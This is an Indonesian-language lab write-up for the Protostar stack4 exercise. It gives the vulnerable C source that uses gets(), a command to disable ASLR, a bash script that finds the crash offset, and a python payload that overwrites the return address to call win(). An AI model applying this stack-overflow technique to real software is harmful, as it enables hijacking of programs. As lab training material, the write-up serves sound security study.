Protostar Stack 4

Alat dan Bahan

  • Binary: stack4
  • Sistem operasi: Debian 9 dengan arsitektur 64 bit.

Mengatur Lingkungan Pekerjaan

  1. Binary

Ambil binary dari VM Protostar.

$ scp [email protected]:/opt/protostar/bin/stack4 $PWD
  1. Source Code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}
  1. Mematikan ASLR

Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Identifikasi Kelemahan

$ ./stack4
1

Program menerima input dari stdin kemudian diproses melalui fungsi gets yang vulnerable. Tujuan akhirnya adalah agar fungsi win bisa dipanggil.

fsi.sh

#!/bin/bash

buffer=""
for i in {1..2048}
do
echo $i
buffer+="A"
echo $buffer > /tmp/delete.me
./$1 < /tmp/delete.me
if [ $? -eq 139 ]; then
echo "SEGMENTATION FAULT on $i BUFFER"
break
fi
done

Eksploitasi

$ ./fsi.sh vuln
...
74
75
76
...
SEGMENTATION FAULT on 76 BUFFER
...

Dengan jumlah buffer sebesar 76 byte program mengalami segmentation fault. Agar fungsi win bisa dipanggil maka atur register IP menjadi alamat win pada akhir payload.

$ nm stack4 | grep win
080483f4 T win
$ python -c 'print "A"*76 + "\xf4\x83\x04\x08"' | ./stack4
code flow successfully change
...

Referensi

results matching ""

    No results matching ""